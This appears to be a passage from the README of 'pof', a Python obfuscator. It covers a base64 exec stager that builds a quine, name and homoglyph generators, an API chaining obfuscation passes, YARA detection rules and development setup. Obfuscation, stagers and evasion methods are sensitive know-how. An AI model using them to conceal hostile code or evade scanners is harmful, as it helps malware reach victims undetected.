tokens=[(1,'from'),(1,'base64'),(1,'import'),(1,'b64decode'),(4,'\n'),(1,'from'),(1,'tokenize'),(1,'import'),(1,'untokenize'),(4,'\n'),(1,'esource'),(54,'='),(4,'\n'),(1,'tokens'),(54,'='),(4,'\n'),(1,'def'),(1,'quine'),(54,'('),(54,')'),(54,':'),(4,'\n'),(5,' '),(1,'return'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(54,':'),(2,'12'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'esource'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'12'),(54,':'),(2,'15'),(54,']'),(54,')'),(54,'+'),(1,'repr'),(54,'('),(1,'tokens'),(54,')'),(54,'+'),(1,'untokenize'),(54,'('),(1,'tokens'),(54,'['),(2,'15'),(54,':'),(54,']'),(54,')'),(4,'\n'),(6,''),(1,'exec'),(54,'('),(1,'b64decode'),(7,'('),(1,'esource'),(8,')'),(54,')'),(4,'\n')]
def quine():
 return untokenize(tokens[:12])+repr(esource)+untokenize(tokens[12:15])+repr(tokens)+untokenize(tokens[15:])
exec(b64decode(esource))

This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.

Your script will still execute but a new function quine will be available, if you call it you'll have access to the source.

Example usage:

echo "print(quine())" | pof -f stager -k QuineStager > out.py
python3 out.py > out2.py
python3 out2.py > out3.py
diff out2.py out3.py

The out2.py and out3.py files are identical, they both contain the source code, and the script print(quine()).

[!NOTE] By default pof uses a custom Untokenizer that removes useless spaces (NoSpaceUntokenizer defined in ./pof/utils/tokens.py), so first generation (in the example out.py) will not have spaces present in the subsquent outputs.

Format

You can choose to automatically format the output code using black.

From the CLI add the --format flag.

From lib:

from pof.utils.format import black_format

obf = ExampleObfuscator().obfuscate(...)
out = black_format(obf)
print(out)

Generators

Generators are used to generate new names, they can be used to classes, variables, functions, constants or any other.

BasicGenerator.alphabet_generator:

kMX94Fcb
mff0ERu3V
lNRxu3hk
b5PK35uR_t

AdvancedGenerator.realistic_generator:

Useful to create variables that look realistic.

raise_src
expected_message
ContextInputValidation
is_auth

AdvancedGenerator.fixed_length_generator:

Inspired by: pyob.oxyry.com.

O00OOOO00O0O00OOO
O000OOOOO0O000O0O
O0OOOO0000OO0OO00
O000000OO0O0O0OO0

UnicodeGenerator.katakana_generator:

シ
ビラ
ポワ
ヌバ

Yes they are valid Python variable name.

Usage:

from pof.utils.generator import UnicodeGenerator

gen = UnicodeGenerator().katakana_generator()
for _ in range(4):
    print(next(gen))

You can also combine generators to pick randomly but with weights associated:

from pof.utils.generator import *

gen_dict = {
    86: AdvancedGenerator.realistic_generator(),
    10: BasicGenerator.alphabet_generator(),
    4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
}
gen = AdvancedGenerator.multi_generator(gen_dict)
for _ in range(4):
    print(next(gen))

Homoglyphs

Homoglyphs are glyphs that have the same shape and appear identical. There is a generator to help create them.

Example of homoglyphs for Hello, world!:

H𝐞llo, world!
Hello, ᴡorld!
Hello, worldǃ
Hello, world！
Hеllo, world!
Hello, woгld!
Hello, woꭈld!
Hello, world!
Hello, worldǃ
Hello¸ world!
Hello, world!

Usage:

from pof.utils.se import HomoglyphsGenerator

def get_homoglyphs():
    generator = HomoglyphsGenerator()
    text = "Hello, world!"
    for _ in range(10):
        homoglyph = generator.get_single_homoglyph(text)
        print(homoglyph)

Python API

The true power of pof is in chaining multiple different obfuscation techniques easily, there is a pretty simple Python API to do so.

For example this is a snippet of the default obfuscator:

import random

from pof import BaseObfuscator
from pof.obfuscator import (
    BuiltinsObfuscator,
    CommentsObfuscator,
    ConstantsObfuscator,
    ExceptionObfuscator,
    GlobalsObfuscator,
    LoggingObfuscator,
    # NamesObfuscator,
    NumberObfuscator,
    PrintObfuscator,
    StringsObfuscator,
)
from pof.utils.extract_names import NameExtract
from pof.utils.generator import AdvancedGenerator, BaseGenerator, BasicGenerator


class ExampleObfuscator(BaseObfuscator):
    def obfuscate(self, source: str):
        # tokenize Python source code
        tokens = self._get_tokens(source)

        # get all the names and add them to the RESERVED_WORDS for the generators
        reserved_words_add = NameExtract.get_names(tokens)
        BaseGenerator.extend_reserved(reserved_words_add)

        # remove comments
        tokens = CommentsObfuscator().obfuscate_tokens(tokens)

        # replace logging message with reversable random code
        tokens = LoggingObfuscator().obfuscate_tokens(tokens)

        # remove print statements
        tokens = PrintObfuscator().obfuscate_tokens(tokens)

        # replace exceptions with reversable random names
        tokens = ExceptionObfuscator(
            add_codes=True,
            generator=BasicGenerator.number_name_generator(),
        ).obfuscate_tokens(tokens)

        # configure global generator
        generator = AdvancedGenerator.multi_generator({
            86: AdvancedGenerator.realistic_generator(),
            10: BasicGenerator.alphabet_generator(),
            4: BasicGenerator.number_name_generator(length=random.randint(2, 5)),
        })

        # extract values and function to make them constant
        tokens = ConstantsObfuscator(
            generator=generator,
            obf_number_rate=0.7,
            obf_string_rate=0.1,
            obf_builtins_rate=0.3,
        ).obfuscate_tokens(tokens)

        # FIXME: broken for the moment
        # tokens = NamesObfuscator(generator=generator).obfuscate_tokens(tokens)

        # obfuscate function calls by calling `globals()` instead
        tokens = GlobalsObfuscator().obfuscate_tokens(tokens)

        # obfuscate builtins in many different ways
        tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)

        b64decode_name = next(generator)
        b85decode_name = next(generator)
        string_obfuscator = StringsObfuscator(
            import_b64decode=True,
            import_b85decode=True,
            b64decode_name=b64decode_name,
            b85decode_name=b85decode_name,
        )

        # obfuscate strings in many different ways
        tokens = string_obfuscator.obfuscate_tokens(tokens)

        # for futur usage of `string_obfuscator` don't re-import base64 and 85
        string_obfuscator.import_b64decode = False
        string_obfuscator.import_b85decode = False

        # obfuscate numbers twice in a row in many different ways
        for _ in range(2):
            tokens = NumberObfuscator().obfuscate_tokens(tokens)

        # obfuscate builtins once again
        tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)

        # obfuscate strings two more times
        for _ in range(2):
            tokens = string_obfuscator.obfuscate_tokens(tokens)

        # and produce Python source code from tokens
        return self._untokenize(tokens)


print(ExampleObfuscator().obfuscate(open("source.py", "r").read()))

In this example we can see that first we remove comments, logging, print statements, and change the content of exceptions. And then we start to obfuscate constants, names, globals, builtins, strings. Then strings and numbers multiple times, and we finally convert the tokens back to code.

By chaining multiple obfuscations techniques we can create very complex and custom output.

Pof also provide evasions methods, detailed below, they are useful for quick and easy evasions, and can be used and customized to fit the need.

For more example of how to use the pof Python API check the examples/ directory.

Yara

Yara rules can be used to detect malware, they can also be used to find interesting strings in Python source code. To check rules against source files and/or obfuscated files run:

yara --no-warnings yara/python.yar examples/out/custom_complete_format.py

[!NOTE] The rules are far from perfect, but they are a starting point.

Development

Project directory structure:

• pof: contains all the pof source code.
  • pof/obfuscator: contains obfuscators.
  • pof/stager: contains stagers.
  • pof/evasion: contains evasions.
  • pof/utils: all shared code between stager, obfuscator and evasion.
• wip: work in progress code that will eventually make its way inside the main code base.
• tests: unit tests for pof.
• scripts: some useful scripts to develop or use pof.
• yara: some yara rules to detect pof obfuscated code.

Setup dev environment:

python3 -m venv venv

# activate it (or equivalent for your shell)
source ./venv/bin/activate

# install dependencies
pip install -e .
pip install -e ".[dev]"
pip install -e ".[test]"

Run pof CLI:

./pof.py --help

Run tests:

pytest

Format:

ruff format .

Lint:

ruff check .

Test build package:

# install dependencies
pip install -e ".[build]"

check-manifest --ignore "tests/**"
python3 -m build
python3 -m twine check dist/*

Python 2

No effort is made to support Python 2, most obfuscator, stagers, and evasion should work out of the box, but they are not tested.

Alternatives

Other Python obfuscation projects:

• 0x-Apollyon/Papyrus
• Hnfull/Intensio-Obfuscator
• lepotekil/MsfMania
• billythegoat356/Hyperion
• spyboy-productions/ObfuXtreme
• chris-rands/emojify
• 0sir1ss/Anubis
• 0sir1ss/Carbon
• billythegoat356/Apollyon
• billythegoat356/Berserker
• brandonasuncion/Python-Code-Obfuscator
• CSM-BlueRed/Impostor
• ImInTheICU/ExtraLayer
• root4031/pyobfuscate
• therealOri/PolyLock
• FlorianREGAZ/PyObfuscator

TODO

• Add dead code, opaque predicates.
• Fix NamesObfuscator.
• Add option to prepend a shebang, and add ability to customize it.

License

pof is licensed under GPLv3.